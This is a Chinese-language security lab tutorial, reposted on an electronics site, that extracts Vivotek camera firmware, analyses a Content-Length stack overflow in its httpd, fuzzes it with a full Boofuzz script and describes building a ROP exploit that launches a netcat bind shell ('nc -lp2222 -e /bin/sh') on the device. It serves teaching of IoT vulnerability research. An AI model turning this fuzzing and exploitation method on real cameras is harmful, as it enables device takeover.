0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

如何利用Boofuzz框架编写脚本并进行IoT设备服务

蛇矛实验室 来源:蛇矛实验室 作者:c4se 2022-10-10 17:00 次阅读

本环境是蛇矛实验室基于"火天网演攻防演训靶场"进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现验证工作。

自 2005年国际电信联盟正式提出“物联网IoT)”这一概念以来,物联网在全球范围内迅速获得认可,并成为信息产业革命第三次浪潮和第四次工业革命的核心支撑。同时,数以亿计的设备接入物联网,这些设备如今已渗透到我们生活的方方面面,从家居到工厂无处不在。一方面物联网设备使我们的生活更加便捷,而另一方面物联网安全事件频发,全球物联网安全支出不断增加。

当前,大量物联网设备及云服务端直接暴露于互联网,这些设备和云服务端存在的漏洞一旦被利用,可导致设备被控制、用户隐私泄露、云服务端数据被窃取等安全风险,甚至会对基础通信网络造成严重影响。从2018年全球统计数据来看,路由器、视频监控设备暴漏数量占比较高。

路由器暴漏数量超过3000万台,视频监控设备暴露数量超过1700万台,并且这些设备往后几年会一年比一年多,物联网安全的事件也会越来越多。由此,物联网安全行业需要大力发展,物联网安全人才的培养也刻不容缓。

蛇矛实验室在后续将利用火天网境系列靶场中的相关目标仿真和环境构建的特性,将持续发布关于“物联网安全-CVE实战分析”系列的文章来帮助大家入门物联网安全。

关于模糊测试

模糊测试(Fuzz Testing)是一种自动化的软件测试技术,最初是由威斯康辛大学的Barton Miller于1989年开发的,通常用于识别程序中的潜在漏洞。其核心思想是自动或半自动的生成随机数据输入到一个程序中,并监视程序异常,如崩溃,断言 (assertion)失败,以发现可能的程序错误,比如内存泄漏。

模糊测试常常用于检测软件或计算机系统的安全漏洞。Boofuzz是一个基于python生成的协议Fuzz工具,它通过python语言来描述协议的格式。Boofuzz对协议的模糊测试有着良好的支持,且其代码开源,目前被广泛使用,但Boofuzz无法直接获取协议相关知识,需人工定义协议模型。这一小节,我们将使用Boofuzz实战测试vivotek摄像头栈溢出漏洞。

漏洞分析

下载好固件后,我们使用"binwalk 固件名"进行分析,发现固件并没有加密,并且文件系统是squashfs格式,固件中的数据都经过了xz压缩。

904b4f34-35a9-11ed-ba43-dac502259ad0.png

我们使用"binwalk -Me 固件名"递归提取里面的文件系统。

9087a394-35a9-11ed-ba43-dac502259ad0.png

里面的目录比较多,我们可以使用”find . -name ’squashfs-root‘ “,也可以使用tree命令快速预览文件目录分布情况。这里我使用"tree -d -L 5"命令,递归查看5层以内的目录,然后就找到了"squashfs-root"文件目录。

90c123da-35a9-11ed-ba43-dac502259ad0.png

还是和前面小节的步骤相同,我们进入到文件系统的根目录中,查看开机自启"etc/init.d/rcS"文件。

90ee1070-35a9-11ed-ba43-dac502259ad0.png

开机自启文件中,首先初始化系统,然后使用run-parts命令遍历执行"/etc/rcS.d"目录下的所有可执行脚本。

91244226-35a9-11ed-ba43-dac502259ad0.png

进入"etc/rcS.d/"目录下后发现执行脚本均为软连接文件,连接至"etc/init.d/"下的对应文件。我们在这里看到了httpd脚本,一般情况下路由器系统中的httpd为web服务程序,所以这里可能是启动httpd服务的脚本。

914fc6f8-35a9-11ed-ba43-dac502259ad0.png

我们查看"/etc/init.d/httpd"文件,发现httpd程序为 "/usr/sbin/httpd"程序,并且执行参数为"-c /etc/conf.d/boa -d"。确定了路由器的服务器程序,我们进行漏洞分析。

91880608-35a9-11ed-ba43-dac502259ad0.png

这一小节的漏洞信息以及POC已经在[exploit-db]中详细的展示了出来。根据这里的漏洞详情我们知道了vivotek摄像头漏洞是栈溢出漏洞,触发的具体位置为"Content-Length"头。根据以上信息,我们将httpd程序放入IDA Pro进行分析。

91b9e9de-35a9-11ed-ba43-dac502259ad0.png

IDA Pro分析完毕后,我们按"shift+F12"搜索Content-Length字符串,双击进入其存储变量地址。

91e2c30e-35a9-11ed-ba43-dac502259ad0.png

鼠标点击"Content-Length"存储变量,按“x”可以找到该变量的交叉引用。发现sub_17F80函数引用了该变量。进入函数进行分析

920b1610-35a9-11ed-ba43-dac502259ad0.png

函数获取由用户"POST或PUT"方法请求包中的"Content-Length"头位置并存入v33变量中。然后获取" "的位置赋值给v34,获取":"的位置赋值给v35变量。

随后使用strncpy函数从":"后面+1位置的字节一直复制到“ "字符前面一字节的位置,将所有的字节复制到dest变量,dest变量为4字节的char型数组。

由于开发者没有对“Content-Length”参数的值进行限制,导致攻击者可以伪造"Content-Length"头,写入大量不为"x00"的垃圾数据就可以导致栈溢出。

923d0abc-35a9-11ed-ba43-dac502259ad0.png

知道了漏洞成因以及触发位置,下面我们使用boofuzz进行fuzz测试,以下测试环境在ubuntu18.04中完成。

首先安装boofuzz:

Boofuzz 官方要求 Python ≥ 3.5,并且推荐安装方式为pip。那么我们先确保python和pip已经安装。

sudo apt-getinstall python3python3-pip python3-dev

Boofuzz官方建议我们在虚拟环境 (venv)中设置 boofuzz 。那么我们需要安装boofuzz的依赖

sudo apt-get installpython3-venv build-essential

创建boofuzz目录,并在其目录下启动虚拟环境env,使其与其他包隔离

mkdirboofuzz && cdboofuzz
python3-mvenv env

926a222c-35a9-11ed-ba43-dac502259ad0.png

这会在当前文件夹中创建一个新的虚拟环境 env。这里的虚拟环境中的 Python 版本是固定的,并且可以在创建时选择。与全局安装不同,虚拟环境中的虚拟环境python别名为 Python 版本。然后我们使用下面的命令来激活虚拟环境:

sourceenv/bin/activate

激活环境后,我们终端前面的标识多了一个"(env)",这代表我们在虚拟环境中操作。

然后安装最新版的pip和setuptools:

pip install-U pip setuptools

最后,安装 boofuzz:

pip installboofuzz

安装好以后,进入python3,测试导入boofuzz库不报错即为安装成功。

92a10d78-35a9-11ed-ba43-dac502259ad0.png

安装好boofuzz以后,我们就可以使用boofuzz框架进行fuzz测试了。我们需要编写一个fuzz脚本,脚本如下:

fromboofuzz import*
IP = "127.0.0.1"
PORT = 80

defcheck_response(target,fuzz_data_logger,session,*args,**kwargs):
fuzz_data_logger.log_info("Checking for response ...")
try:
response = target.recv(512)
except:
fuzz_data_logger.log_fail("Unable to connect ...")
return
ifnotresponse:
fuzz_data_logger.log_fail("Empty response ...")
target.close()
return
fuzz_data_logger.log_info("Start checking ...
"+response.decode())
target.close()
return

defmain():
session = Session(
target=Target(connection=SocketConnection(IP,PORT,proto="tcp"),
),
post_test_case_callbacks=[check_response],
)
s_initialize(name="FUZZ")
withs_block("Request-Line"):
# Method
s_group("Method",["POST"])
s_delim(" ",fuzzable=False)
s_string("/cgi-bin/admin/upgrade.cgi ",fuzzable=False,name="URI")
s_static("HTTP/1.1",name="Version")
s_static("
",name="CRLF")
# Host
s_static("Host")
s_delim(": ",fuzzable=False)
s_string("127.0.0.1",fuzzable=False,name="IP")
s_static("
")
# Connection
s_static("Connection")
s_delim(": ",fuzzable=False)
s_string("Close",fuzzable=False,name="Active")
s_static("
")
# Content-Length
s_static("Content-Length")
s_delim(": ", fuzzable=False)
s_string("65", fuzzable=True)
# End
s_static("
")
s_static("
")

session.connect(s_get("FUZZ"))
session.fuzz()

if__name__=="__main__":
main()

上面的脚本中,共有俩个函数,一个main函数(脚本入口函数),一个check_response函数(回调函数)。

main函数中,首先我们创建一个session,session可以设置一些基础属性,我们可以使用Target设置我们要fuzz的目标的ip地址和端口号以及协议类型(这里我们要fuzz的目标为httpd服务器,即tcp协议)。Target还可以使用post_test_case_callbacks指定回调函数。

当我们发送fuzz的请求包后,boofuzz需要判断返回包的内容来确定是否具有漏洞特点,这里就需要用到回调函数。我们可以自己编写回调函数,这里我们将回调函数指定为check_response函数,回调函数的参数'fuzz_data_logger'记录测试检查和通过/失败。

boofuzz数据生成的特点为一个数据报文由Primitives和Blocks组成,多个Primitives可以组成Block,Blocks之间可以相互嵌套。所以我们需要初始化一个消息请求块,这里我设置请求块的名称为FUZZ,然后通过s_block设置对应的http请求数据。然后我们可以指定对应的字段选择fuzz,设置Content-Length参数的值为”fuzzable=True“。使用session.connect(s_get("FUZZ"))发送请求包裹,session.fuzz()开始驱动整个fuzz过程。

下面开始测试fuzz脚本,我们先模拟运行vivotek的httpd服务,访问后发现服务正常。

92c39afa-35a9-11ed-ba43-dac502259ad0.png

运行我们的fuzz脚本,蓝色字体的部分为脚本发送的request包数据,我们发现Content-Length参数后面的值确实是由boofuzz产生的fuzz数据。这里case 1中出现了红色字体的报错,为"Empty reponse ...",也就是说没有返回包。猜测服务器可能已经崩溃,切换至模拟的路由器系统进行查看

9303d2d2-35a9-11ed-ba43-dac502259ad0.png

果然,服务器已经崩溃,说明我们的fuzz脚本是正确的,服务器不能正确处理Content-Length的垃圾数据,导致服务器崩溃。

933f1afe-35a9-11ed-ba43-dac502259ad0.png

这时,我们可以访问localhost:26000可以观察boofuzz web服务中这次fuzz的详细信息。

9367f26c-35a9-11ed-ba43-dac502259ad0.png

确定了确实是有栈溢出漏洞后,我们写一个poc测试一下栈溢出偏移

正式运行路由器httpd服务,使用gdbserver进行attach,使用gdb-multiarch进行远程调试。

93904fd2-35a9-11ed-ba43-dac502259ad0.png

我们在0x18538(strncpy函数)处下断点,然后c运行,这时发送poc,程序断在了strncpy处。pwndbg中显示了strncpy函数执行时src和dest的地址。

93c24a00-35a9-11ed-ba43-dac502259ad0.png

拷贝到栈上时,0x7effeb4c处为返回地址,那么我们就算出了拷贝字符串到返回地址的偏移为0x34字节。下面我们开始写exp

93f94258-35a9-11ed-ba43-dac502259ad0.png

编写exp的过程中,需要注意的点为strncpy复制时遇到"x00"停止,所以我们需要绕过"x00"找到可以用的rop gadget,然后通过已知的libc基地址找到system函数的地址运行命令。最终代码如下

94270a9e-35a9-11ed-ba43-dac502259ad0.png

动态调试整个过程,下断strncpy,没拷贝前栈空间正常

94533704-35a9-11ed-ba43-dac502259ad0.png

strncpy拷贝完成后,我们观察一下栈的空间分布

94811e8a-35a9-11ed-ba43-dac502259ad0.png

返回地址确实被我们覆盖成了gadget的地址,说明我们前面的分析正确。

94b40084-35a9-11ed-ba43-dac502259ad0.png

漏洞复现

启动路由器后,运行我们的exp脚本

94fdfc3e-35a9-11ed-ba43-dac502259ad0.png

此时路由器系统中,已经运行了"nc -lp2222 -e /bin/sh",我们使用nc连接后就可以获得shell

952a3d44-35a9-11ed-ba43-dac502259ad0.png

使用nc连接2222端口后,随意运行命令,命令成功执行,本次攻击成功。

956b360a-35a9-11ed-ba43-dac502259ad0.png

总结

这一小节,我们以vivotek摄像头为例,简短介绍了模糊测试框架Boofuzz,以及学习了如何利用该框架编写脚本进行IoT设备服务进行fuzz。




审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • 路由器
    +关注

    关注

    22

    文章

    3500

    浏览量

    111340
  • python
    +关注

    关注

    51

    文章

    4675

    浏览量

    83466
  • IOT
    IOT
    +关注

    关注

    186

    文章

    3984

    浏览量

    193200

原文标题:物联网安全实战从零开始-Vivotek的Fuzzing 栈溢出

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    脚本引擎编写

    tcl脚本小白,我现在需要编写一个脚本引擎,目前已经建立好了自己的一套指令系统,需要能使用这个脚本引擎将我记事本编写的程序翻译成机器码,换句
    发表于 03-19 16:16

    利用xposed框架模拟真实手机环境和建立引流脚本矩阵的方法

    如何利用xposed框架模拟真实手机环境,建立引流脚本矩阵
    发表于 05-31 11:46

    如何使用STM32串口中断服务函数进行接收并进行转化为int型?

    如何使用STM32串口中断服务函数进行接收并进行转化为int型?
    发表于 12-07 08:03

    如何利用STM32通过ESP8266接入阿里云IoT平台并进行相关温湿度的应用开发

      本文通过实例来详细介绍如何利用STM32,通过ESP8266接入阿里云IoT平台并进行相关温湿度的应用开发。具体分3个部分来做说明,第一部分介绍硬件的准备与连接;第二部分说明在阿里云IoT
    发表于 01-27 07:30

    阿里云IoT软件包手册的框架是由哪些部分组成的

    框架图iotkit SDK 为了方便设备上云封装了丰富的连接协议,如 MQTT、CoAP、HTTP、TLS,并且对硬件平台进行了抽象,使其不受具体的硬件平台限制而更加灵活。在代码架构方面,iotkit
    发表于 08-11 10:34

    HamronyOS自动化测试框架使用指南

    脚本编写主要基于 DevEco Studio,并建议使用 3.1.0.400 之后的版本进行脚本编写脚本执行需要 PC 连接 Harm
    发表于 12-19 10:26

    python编写脚本方法

    对于具有484个引脚的芯片,如果手动一个一个设置引脚,必然是一场噩梦。网上有使用Capture进行自动导入的帖子,不过没有找到AD方面的帖子。本文使用python,编写脚本,自动分配引脚。
    发表于 11-17 11:38 4785次阅读

    在Vivado下利用Tcl脚本对综合后的网表进行编辑过程

    在ISE下,对综合后的网表进行编辑几乎是不可能的事情,但在Vivado下成为可能。Vivado对Tcl的支持,使得Tcl脚本在FPGA设计中有了用武之地。本文通过一个实例演示如何在Vivado下利用Tcl
    发表于 11-18 03:16 7008次阅读
    在Vivado下<b class='flag-5'>利用</b>Tcl<b class='flag-5'>脚本</b>对综合后的网表<b class='flag-5'>进行</b>编辑过程

    如何在代码编写器StudioIDE开发环境中使用脚本实用程序的详细描写

    脚本是代码编写器Studio集成开发的一种新实用工具。环境(IDE)V2.10。它提供了一个集成到Perl或Visual中的命令库。基本应用程序(VBA),提供可利用的批处理模式脚本
    发表于 04-25 14:09 8次下载
    如何在代码<b class='flag-5'>编写</b>器StudioIDE开发环境中使用<b class='flag-5'>脚本</b>实用程序的详细描写

    u-boot中Hush shell的功能及编写脚本的方法介绍

    了解u-boot中Hush shell的功能,以及如何为其编写脚本。 说明了存储和检索脚本的方法。
    的头像 发表于 11-22 07:00 5061次阅读

    Linux命令行与shell脚本编写

    Linux命令行与shell脚本编写
    发表于 01-11 16:50 4次下载

    编写一个点名器脚本

    目的:编写一个脚本,可以将准别好的名字合集的.txt传入脚本,然后每次随机显示一个人的姓名
    的头像 发表于 11-06 12:41 341次阅读
    <b class='flag-5'>编写</b>一个点名器<b class='flag-5'>脚本</b>

    shell脚本编写程序

    编写Shell脚本时,你需要按照以下步骤进行: 打开一个文本编辑器,例如vi、nano或gedit。 创建一个新文件,并将其保存为以.sh为扩展名的文件, 例如script.sh 。 在文件的第一
    的头像 发表于 11-08 10:12 522次阅读

    如何利用shell进行脚本程序的设计?

    利用Shell进行脚本程序的设计可以按照以下步骤进行: 选择Shell解释器:在Unix和Linux系统中,通常会默认安装一个或多个Shell解释器,其中最常见且功能强大的是Bash(Bourne
    的头像 发表于 11-08 10:17 288次阅读

    shell实例三(编写批量修改扩展名脚本)

    实现功能: 编写批量修改扩展名脚本,如批量将 txt 文件修改为 doc 文件 执行脚本时,需要给脚本添加位置参数
    的头像 发表于 11-09 09:35 260次阅读
    shell实例三(<b class='flag-5'>编写</b>批量修改扩展名<b class='flag-5'>脚本</b>)